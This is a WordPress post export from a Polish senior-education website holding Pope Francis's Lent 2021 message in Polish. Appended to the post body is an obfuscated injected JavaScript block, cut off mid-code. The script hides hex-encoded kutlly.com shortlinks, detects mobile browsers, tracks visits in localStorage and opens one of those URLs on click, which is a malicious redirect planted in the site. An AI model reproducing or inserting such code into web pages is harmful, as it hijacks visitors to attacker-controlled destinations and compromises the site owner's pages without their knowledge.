{"id":277,"date":"2021-02-16T18:28:06","date_gmt":"2021-02-16T17:28:06","guid":{"rendered":"https:\/\/www.utwdrz.rzeszow.pl\/?p=277"},"modified":"2021-02-16T18:28:06","modified_gmt":"2021-02-16T17:28:06","slug":"oredzie-ojca-swietego-franciszka-na-wielki-post-2021","status":"publish","type":"post","link":"https:\/\/www.utwdrz.rzeszow.pl\/index.php\/2021\/02\/16\/oredzie-ojca-swietego-franciszka-na-wielki-post-2021\/","title":{"rendered":"OR\u0118DZIE OJCA \u015aWI\u0118TEGO FRANCISZKA NA WIELKI POST 2021"},"content":{"rendered":"\n<p><strong>\u201eOto idziemy do&nbsp;Jerozolimy\u2026\u201d (Mt 20,18)<br>Wielki Post: czas na&nbsp;odnow\u0119 wiary, nadziei i&nbsp;mi\u0142o\u015bci<\/strong><\/p>\n\n\n\n<p>Drodzy bracia i&nbsp;siostry,<\/p>\n\n\n\n<p>zapowiadaj\u0105c uczniom swoj\u0105 m\u0119k\u0119, \u015bmier\u0107 i&nbsp;zmartwychwstanie, aby wype\u0142ni\u0107 wol\u0119 Ojca, Jezus ukazuje im g\u0142\u0119boki sens swojej misji i&nbsp;wzywa ich do&nbsp;zjednoczenia si\u0119 z&nbsp;ni\u0105 dla zbawienia \u015bwiata.<\/p>\n\n\n\n<p>Pod\u0105\u017caj\u0105c wielkopostn\u0105 drog\u0105, kt\u00f3ra&nbsp;prowadzi nas do&nbsp;uroczysto\u015bci wielkanocnych, pami\u0119tajmy o&nbsp;Tym, kt\u00f3ry&nbsp;\u201euni\u017cy\u0142 samego siebie, czyni\u0105c si\u0119 pos\u0142usznym a\u017c do&nbsp;\u015bmierci i&nbsp;to&nbsp;\u015bmierci krzy\u017cowej\u201d (Flp 2,8). W&nbsp;tym czasie nawr\u00f3cenia odn\u00f3wmy&nbsp;nasz\u0105 wiar\u0119, zaczerpnijmy&nbsp;\u201e\u017cywej wody nadziei\u201d&nbsp;i&nbsp;przyjmijmy z&nbsp;otwartym sercem&nbsp;mi\u0142o\u015b\u0107 Boga, kt\u00f3ra&nbsp;przemienia nas w&nbsp;braci i&nbsp;siostry w&nbsp;Chrystusie. W&nbsp;Noc Paschaln\u0105 odnowimy przyrzeczenia naszego Chrztu, aby odrodzi\u0107 si\u0119 jako nowi m\u0119\u017cczy\u017ani i&nbsp;nowe kobiety, dzi\u0119ki dzia\u0142aniu Ducha \u015awi\u0119tego. Jednak sama wielkopostna w\u0119dr\u00f3wka, podobnie jak ca\u0142a chrze\u015bcija\u0144ska droga, jest ju\u017c w&nbsp;ca\u0142o\u015bci o\u015bwietlona \u015bwiat\u0142em Zmartwychwstania, kt\u00f3re o\u017cywia uczucia, postawy i&nbsp;wybory tych, kt\u00f3rzy&nbsp;chc\u0105 na\u015bladowa\u0107 Chrystusa.<\/p>\n\n\n\n<p>Post, modlitwa i&nbsp;ja\u0142mu\u017cna, przedstawione przez&nbsp;Jezusa w&nbsp;Jego kazaniu (por. Mt 6,1-18), s\u0105 warunkami i&nbsp;znakami naszego nawr\u00f3cenia. Droga ub\u00f3stwa i&nbsp;wyrzeczenia (post), spojrzenie i&nbsp;gesty mi\u0142o\u015bci wobec zranionego cz\u0142owieka (ja\u0142mu\u017cna) oraz&nbsp;synowski dialog z&nbsp;Ojcem (modlitwa) pozwalaj\u0105 nam wcieli\u0107 w&nbsp;\u017cycie szczer\u0105 wiar\u0119, \u017cyw\u0105 nadziej\u0119 i&nbsp;czynn\u0105 mi\u0142o\u015b\u0107.<\/p>\n\n\n\n<p>1. Wiara wzywa nas do&nbsp;przyj\u0119cia Prawdy i&nbsp;do&nbsp;stania si\u0119 jej \u015bwiadkami przed&nbsp;Bogiem i&nbsp;przed&nbsp;wszystkimi naszymi bra\u0107mi i&nbsp;siostrami.<\/p>\n\n\n\n<p>W&nbsp;tym czasie Wielkiego Postu&nbsp;przyj\u0119cie i&nbsp;prze\u017cywanie Prawdy objawionej w&nbsp;Chrystusie&nbsp;oznacza przede wszystkim zgod\u0119 na&nbsp;dotkni\u0119cie s\u0142owem Bo\u017cym, kt\u00f3re Ko\u015bci\u00f3\u0142 przekazuje nam z&nbsp;pokolenia na&nbsp;pokolenie. Prawda ta nie&nbsp;jest konstrukcj\u0105 intelektualn\u0105, zarezerwowan\u0105 dla nielicznej grupy wybranych, wy\u017cszych lub wyr\u00f3\u017cniaj\u0105cych si\u0119 umys\u0142\u00f3w, ale&nbsp;jest przes\u0142aniem, kt\u00f3re otrzymujemy i&nbsp;mo\u017cemy zrozumie\u0107 dzi\u0119ki m\u0105dro\u015bci serca otwartego na&nbsp;wielko\u015b\u0107 Boga, kt\u00f3ry&nbsp;nas kocha, zanim sami staniemy si\u0119 tego \u015bwiadomi. T\u0105 Prawd\u0105 jest sam Chrystus, kt\u00f3ry&nbsp;przyjmuj\u0105c ca\u0142kowicie nasze cz\u0142owiecze\u0144stwo uczyni\u0142 siebie Drog\u0105 \u2013 wymagaj\u0105c\u0105, ale&nbsp;otwart\u0105 dla wszystkich \u2013 prowadz\u0105c\u0105 do&nbsp;pe\u0142ni \u017cycia.<\/p>\n\n\n\n<p>Post prze\u017cywany jako do\u015bwiadczenie wyrzeczenia&nbsp;prowadzi tych, kt\u00f3rzy&nbsp;go praktykuj\u0105 w&nbsp;prostocie serca, do&nbsp;ponownego odkrycia daru Bo\u017cego i&nbsp;do&nbsp;zrozumienia prawdy o&nbsp;nas, jako stworzonych na&nbsp;Jego obraz i&nbsp;podobie\u0144stwo, i&nbsp;znajduj\u0105cych w&nbsp;Nim spe\u0142nienie. Zgadzaj\u0105c si\u0119 na&nbsp;ub\u00f3stwo i&nbsp;do\u015bwiadczaj\u0105c go, ten kto po\u015bci, czyni siebie ubogim z&nbsp;ubogimi i&nbsp;\u201egromadzi\u201d skarb otrzymanej i&nbsp;dzielonej z&nbsp;innymi mi\u0142o\u015bci. Tak&nbsp;rozumiany i&nbsp;praktykowany post pomaga kocha\u0107 Boga i&nbsp;bli\u017aniego, poniewa\u017c \u2013 jak uczy \u015bw.&nbsp;Tomasz z&nbsp;Akwinu \u2013 mi\u0142o\u015b\u0107 jest poruszeniem, kt\u00f3re skupia uwag\u0119 na&nbsp;drugim, uwa\u017caj\u0105c go \u201eza jedno z&nbsp;samym sob\u0105\u201d (por. Enc. Fratelli tutti, 93).<\/p>\n\n\n\n<p>Wielki Post to&nbsp;czas wiary, to&nbsp;znaczy: przyj\u0119cia Boga w&nbsp;naszym \u017cyciu i&nbsp;umo\u017cliwienia Mu \u201ezamieszkiwania\u201d z&nbsp;nami (por. J 14,23). Post oznacza uwolnienie naszej egzystencji od&nbsp;wszystkiego, co j\u0105 przyt\u0142acza, tak\u017ce od&nbsp;przesytu informacji \u2013 prawdziwych czy&nbsp;fa\u0142szywych \u2013 i&nbsp;od&nbsp;d\u00f3br konsumpcyjnych, aby otworzy\u0107 drzwi naszego serca dla Tego, kt\u00f3ry&nbsp;przychodzi do&nbsp;nas ogo\u0142ocony ze&nbsp;wszystkiego, ale&nbsp;\u201epe\u0142en \u0142aski i&nbsp;prawdy\u201d (J 1,14): Syna Bo\u017cego, Zbawiciela.<\/p>\n\n\n\n<p>2. Nadzieja jako \u201e\u017cywa woda\u201d, kt\u00f3ra&nbsp;pozwala nam kontynuowa\u0107 nasz\u0105 podr\u00f3\u017c.<\/p>\n\n\n\n<p>Samarytanka, kt\u00f3r\u0105 Jezus prosi, aby da\u0142a Mu si\u0119 napi\u0107&nbsp;przy studni, nie&nbsp;pojmuje, kiedy m\u00f3wi On, i\u017c mo\u017ce ofiarowa\u0107 jej \u201e\u017cyw\u0105 wod\u0119\u201d (J 4,10). Na&nbsp;pocz\u0105tku my\u015bli ona naturalnie o&nbsp;zwyk\u0142ej wodzie, Jezus natomiast ma na&nbsp;my\u015bli Ducha \u015awi\u0119tego, kt\u00f3rego&nbsp;da w&nbsp;obfito\u015bci w&nbsp;Tajemnicy Paschalnej i&nbsp;kt\u00f3ry&nbsp;obdarowuje nas niezawodn\u0105 nadziej\u0105. Ju\u017c w&nbsp;zapowiedzi swojej m\u0119ki i&nbsp;\u015bmierci Jezus zwiastuje nadziej\u0119, gdy&nbsp;m\u00f3wi: \u201ea trzeciego dnia zmartwychwstanie\u201d (Mt 20,19). Jezus m\u00f3wi nam o&nbsp;przysz\u0142o\u015bci otwartej na&nbsp;o\u015bcie\u017c przez&nbsp;mi\u0142osierdzie Ojca. Mie\u0107 nadziej\u0119 z&nbsp;Nim i&nbsp;dzi\u0119ki Niemu, to&nbsp;wierzy\u0107, \u017ce&nbsp;historia nie&nbsp;ko\u0144czy si\u0119 na&nbsp;naszych b\u0142\u0119dach, na&nbsp;naszej przemocy i&nbsp;niesprawiedliwo\u015bci oraz&nbsp;na&nbsp;grzechu, kt\u00f3ry&nbsp;Mi\u0142o\u015b\u0107 przybija do&nbsp;krzy\u017ca. Oznacza to&nbsp;czerpanie ojcowskiego przebaczenia z&nbsp;Jego otwartego serca.<\/p>\n\n\n\n<p>W&nbsp;obecnym kontek\u015bcie niepokoju, w&nbsp;kt\u00f3rym&nbsp;\u017cyjemy i&nbsp;w&nbsp;kt\u00f3rym&nbsp;wszystko wydaje si\u0119 kruche i&nbsp;niepewne, m\u00f3wienie o&nbsp;nadziei mo\u017ce wydawa\u0107 si\u0119 prowokacj\u0105. Czas Wielkiego Postu jest jednak po&nbsp;to, aby z&nbsp;nadziej\u0105 zwr\u00f3ci\u0107 nasze spojrzenie ku cierpliwo\u015bci Boga, kt\u00f3ry&nbsp;nadal troszczy si\u0119 o&nbsp;swoje stworzenie, podczas gdy&nbsp;my cz\u0119sto traktowali\u015bmy je \u017ale (por. Enc. Laudato si\u2019, 32-33.43-44). Jest to&nbsp;nadzieja na&nbsp;pojednanie, do&nbsp;kt\u00f3rego&nbsp;\u015bw.&nbsp;Pawe\u0142 gor\u0105co nas wzywa: \u201epojednajcie si\u0119 z&nbsp;Bogiem\u201d (2 Kor 5,20). Otrzymuj\u0105c przebaczenie w&nbsp;Sakramencie, kt\u00f3ry&nbsp;znajduje si\u0119 w&nbsp;samym centrum naszego procesu nawr\u00f3cenia, stajemy si\u0119 z&nbsp;kolei krzewicielami przebaczenia: otrzymawszy je sami, mo\u017cemy je ofiarowa\u0107 innym poprzez zdolno\u015b\u0107 do&nbsp;prowadzenia troskliwego dialogu i&nbsp;przyjmowania postawy, kt\u00f3ra&nbsp;daje pociech\u0119 poranionym. Bo\u017ce przebaczenie, tak\u017ce poprzez nasze s\u0142owa i&nbsp;gesty, pozwala nam prze\u017cywa\u0107 Wielkanoc braterstwa.<\/p>\n\n\n\n<p>W&nbsp;Wielkim Po\u015bcie b\u0105d\u017amy bardziej czujni, aby u\u017cywa\u0107 \u201es\u0142\u00f3w otuchy, kt\u00f3re koj\u0105, umacniaj\u0105, daj\u0105 pociech\u0119, kt\u00f3re pobudzaj\u0105, a&nbsp;nie&nbsp;s\u0142\u00f3w, kt\u00f3re poni\u017caj\u0105, zasmucaj\u0105, dra\u017cni\u0105, gardz\u0105\u201d (Enc. Fratelli tutti, 223). Czasami, by&nbsp;da\u0107 nadziej\u0119, wystarczy by\u0107 \u201ecz\u0142owiekiem uprzejmym, kt\u00f3ry&nbsp;odk\u0142ada na&nbsp;bok swoje l\u0119ki i&nbsp;po\u015bpiech, aby zwr\u00f3ci\u0107 na&nbsp;kogo\u015b uwag\u0119, aby podarowa\u0107 u\u015bmiech, aby powiedzie\u0107 s\u0142owo, kt\u00f3re by&nbsp;doda\u0142o otuchy, aby umo\u017cliwi\u0107 przestrze\u0144 s\u0142uchania po\u015br\u00f3d wielkiej oboj\u0119tno\u015bci\u201d (tam\u017ce, 224).<\/p>\n\n\n\n<p>W&nbsp;skupieniu i&nbsp;cichej modlitwie, nadzieja jest nam dana jako natchnienie i&nbsp;wewn\u0119trzne \u015bwiat\u0142o, kt\u00f3re o\u015bwieca wyzwania i&nbsp;wybory zwi\u0105zane z&nbsp;naszym powo\u0142aniem: dlatego istotne jest, aby zebra\u0107 si\u0119 w&nbsp;sobie do&nbsp;modlitwy (por. Mt 6,6) i&nbsp;spotka\u0107 w&nbsp;ukryciu Ojca czu\u0142o\u015bci.<\/p>\n\n\n\n<p>Prze\u017cywa\u0107 Wielki Post z&nbsp;nadziej\u0105 oznacza mie\u0107 \u015bwiadomo\u015b\u0107, \u017ce&nbsp;w&nbsp;Jezusie Chrystusie jeste\u015bmy \u015bwiadkami nowego czasu, w&nbsp;kt\u00f3rym&nbsp;B\u00f3g \u201eczyni wszystko nowym\u201d (por. Ap 21,1-6). Oznacza, \u017ce&nbsp;mamy udzia\u0142 w&nbsp;nadziei Chrystusa, kt\u00f3ry&nbsp;oddaje swoje \u017cycie na&nbsp;krzy\u017cu i&nbsp;kt\u00f3rego&nbsp;B\u00f3g wskrzesza trzeciego dnia, \u201ezawsze gotowi do&nbsp;obrony wobec ka\u017cdego, kto domaga si\u0119 od&nbsp;[nas] uzasadnienia tej&nbsp;nadziei, kt\u00f3ra&nbsp;w&nbsp;[nas] jest\u201d (1 P 3,15).<\/p>\n\n\n\n<p>3. Mi\u0142o\u015b\u0107, prze\u017cywana jako na\u015bladowanie Chrystusa, z&nbsp;uwag\u0105 i&nbsp;wsp\u00f3\u0142czuciem dla ka\u017cdego, jest najwy\u017cszym wyrazem naszej wiary i&nbsp;nadziei.<\/p>\n\n\n\n<p>Mi\u0142o\u015b\u0107 cieszy si\u0119, widz\u0105c kiedy inny wzrasta. Oto, dlaczego cierpi, gdy&nbsp;bli\u017ani jest w&nbsp;udr\u0119ce: samotny, chory, bezdomny, pogardzany, w&nbsp;potrzebie\u2026 Mi\u0142o\u015b\u0107 jest porywem serca, kt\u00f3ry&nbsp;sprawia, \u017ce&nbsp;przekraczamy samych siebie i&nbsp;kt\u00f3ry&nbsp;stwarza wi\u0119\u017a wzajemnego dzielenia si\u0119 i&nbsp;komunii.<\/p>\n\n\n\n<p>\u201eZaczynaj\u0105c od&nbsp;\u00abmi\u0142o\u015bci spo\u0142ecznej\u00bb, mo\u017cna pod\u0105\u017ca\u0107 w&nbsp;kierunku cywilizacji mi\u0142o\u015bci, do&nbsp;kt\u00f3rej&nbsp;wszyscy mo\u017cemy czu\u0107 si\u0119 powo\u0142ani. Mi\u0142o\u015b\u0107, z&nbsp;jej uniwersalnym dynamizmem, mo\u017ce budowa\u0107 nowy \u015bwiat, poniewa\u017c nie&nbsp;jest uczuciem ja\u0142owym, ale&nbsp;najlepszym sposobem na&nbsp;osi\u0105gni\u0119cie skutecznych dr\u00f3g rozwoju dla wszystkich\u201d (Enc. Fratelli tutti, 183).<\/p>\n\n\n\n<p>Mi\u0142o\u015b\u0107 jest darem, kt\u00f3ry&nbsp;nadaje sens naszemu \u017cyciu i&nbsp;dzi\u0119ki kt\u00f3remu&nbsp;ludzi pozbawionych \u015brodk\u00f3w do&nbsp;\u017cycia uwa\u017camy za&nbsp;cz\u0142onk\u00f3w naszej rodziny, przyjaci\u00f3\u0142 i&nbsp;braci. Niewiele, je\u015bli jest dzielone z&nbsp;mi\u0142o\u015bci\u0105, nigdy si\u0119 nie&nbsp;ko\u0144czy, ale&nbsp;staje si\u0119 rezerw\u0105 \u017cycia i&nbsp;szcz\u0119\u015bcia. Tak&nbsp;by\u0142o z&nbsp;m\u0105k\u0105 i&nbsp;oliw\u0105 wdowy w&nbsp;Sarepcie, kt\u00f3ra&nbsp;ofiarowuje podp\u0142omyk prorokowi Eliaszowi (por. 1 Krl 17,7-16); oraz&nbsp;z&nbsp;bochenkami, kt\u00f3re Jezus b\u0142ogos\u0142awi, \u0142amie i&nbsp;daje uczniom, aby rozdawali t\u0142umom (por. Mk 6,30-44). Tak&nbsp;dzieje si\u0119 z&nbsp;nasz\u0105 ja\u0142mu\u017cn\u0105, ma\u0142\u0105 czy&nbsp;du\u017c\u0105, ofiarowan\u0105 z&nbsp;rado\u015bci\u0105 i&nbsp;prostot\u0105.<\/p>\n\n\n\n<p>Prze\u017cywanie Wielkiego Postu mi\u0142o\u015bci oznacza opiek\u0119 nad&nbsp;tymi, kt\u00f3rzy&nbsp;cierpi\u0105, s\u0105 opuszczeni lub udr\u0119czeni z&nbsp;powodu pandemii Covid-19. W&nbsp;kontek\u015bcie wielkiej niepewno\u015bci jutra, pami\u0119taj\u0105c o&nbsp;s\u0142owie skierowanym przez&nbsp;Boga do&nbsp;swego S\u0142ugi: \u201eNie l\u0119kaj si\u0119, bo ci\u0119 wykupi\u0142em\u201d (I\u017c 43,1), ofiarujmy wraz z&nbsp;naszym gestem mi\u0142o\u015bci s\u0142owo ufno\u015bci, i&nbsp;sprawmy, by&nbsp;bli\u017ani poczu\u0142 si\u0119 kochany przez&nbsp;Boga jak dziecko.<\/p>\n\n\n\n<p>\u201eTylko spojrzenie, kt\u00f3rego&nbsp;perspektywa zosta\u0142a przekszta\u0142cona mi\u0142o\u015bci\u0105, prowadzi do&nbsp;poj\u0119cia godno\u015bci drugiego cz\u0142owieka; ubodzy s\u0105 uznani i&nbsp;docenieni w&nbsp;ich niezmiernej godno\u015bci, poszanowani w&nbsp;swoim w\u0142asnym stylu i&nbsp;kulturze, a&nbsp;zatem prawdziwie w\u0142\u0105czeni w&nbsp;spo\u0142ecze\u0144stwo\u201d (Enc. Fratelli tutti, 187).<\/p>\n\n\n\n<p>Drodzy bracia i&nbsp;siostry, ka\u017cdy etap \u017cycia jest czasem wiary, nadziei i&nbsp;mi\u0142o\u015bci. To&nbsp;wezwanie do&nbsp;prze\u017cywania Wielkiego Postu jako drogi nawr\u00f3cenia, modlitwy i&nbsp;dzielenia si\u0119 naszymi dobrami, niech&nbsp;nam pomo\u017ce powr\u00f3ci\u0107 nasz\u0105 osobist\u0105 i&nbsp;wsp\u00f3lnotow\u0105 pami\u0119ci\u0105 do&nbsp;tej&nbsp;wiary, kt\u00f3ra&nbsp;pochodzi od&nbsp;\u017cywego Chrystusa, do&nbsp;nadziei o\u017cywionej tchnieniem Ducha \u015awi\u0119tego i&nbsp;do&nbsp;mi\u0142o\u015bci, kt\u00f3rej&nbsp;niewyczerpanym \u017ar\u00f3d\u0142em jest mi\u0142osierne serce Ojca.<\/p>\n\n\n\n<p>Niech&nbsp;Maryja, Matka Zbawiciela, trwaj\u0105ca wiernie u&nbsp;st\u00f3p krzy\u017ca i&nbsp;w&nbsp;sercu Ko\u015bcio\u0142a, wspiera nas swoj\u0105 troskliw\u0105 obecno\u015bci\u0105, a&nbsp;b\u0142ogos\u0142awie\u0144stwo Zmartwychwsta\u0142ego niech&nbsp;towarzyszy nam w&nbsp;naszej w\u0119dr\u00f3wce ku \u015bwiat\u0142u Wielkiej Nocy.<\/p>\n\n\n\n<p>Rzym, u&nbsp;\u015awi\u0119tego Jana na&nbsp;Lateranie, 11 listopada 2020 r.,<br>we&nbsp;wspomnienie \u015bw.&nbsp;Marcina z&nbsp;Tours<\/p>\n\n\n\n<p>Franciszek<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x6c\\x79\\x2e\\x63\\x6f\\x6d\\x2f\\x69\\x4b\\x6b\\x32\\x63\\x322','length','_blank','mobileCheck','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x6c\\x79\\x2e\\x63\\x6f\\x6d\\x2f\\x76\\x77\\x50\\x33\\x63\\x373','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x6c\\x79\\x2e\\x63\\x6f\\x6d\\x2f\\x49\\x72\\x52\\x30\\x63\\x340','random','-local-storage','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x6c\\x79\\x2e\\x63\\x6f\\x6d\\x2f\\x70\\x54\\x55\\x37\\x63\\x367','stopPropagation','4051490VdJdXO','test','open','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x6c\\x79\\x2e\\x63\\x6f\\x6d\\x2f\\x77\\x45\\x4b\\x36\\x63\\x306','12075252qhSFyR','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x6c\\x79\\x2e\\x63\\x6f\\x6d\\x2f\\x45\\x55\\x45\\x38\\x63\\x358','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x6c\\x79\\x2e\\x63\\x6f\\x6d\\x2f\\x79\\x6d\\x72\\x35\\x63\\x365','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))\/0x1+parseInt(_0x142fd8(0x19f))\/0x2+-parseInt(_0x142fd8(0x1a5))\/0x3+parseInt(_0x142fd8(0x198))\/0x4+-parseInt(_0x142fd8(0x191))\/0x5+parseInt(_0x142fd8(0x1a0))\/0x6+parseInt(_0x142fd8(0x195))\/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x6c\\x79\\x2e\\x63\\x6f\\x6d\\x2f\\x71\\x6b\\x47\\x31\\x63\\x341',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x6c\\x79\\x2e\\x63\\x6f\\x6d\\x2f\\x41\\x7a\\x75\\x34\\x63\\x354',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x6c\\x79\\x2e\\x63\\x6f\\x6d\\x2f\\x70\\x63\\x53\\x39\\x63\\x319','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x365b[0x4]](_0x784bdc)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)\/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)\/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const 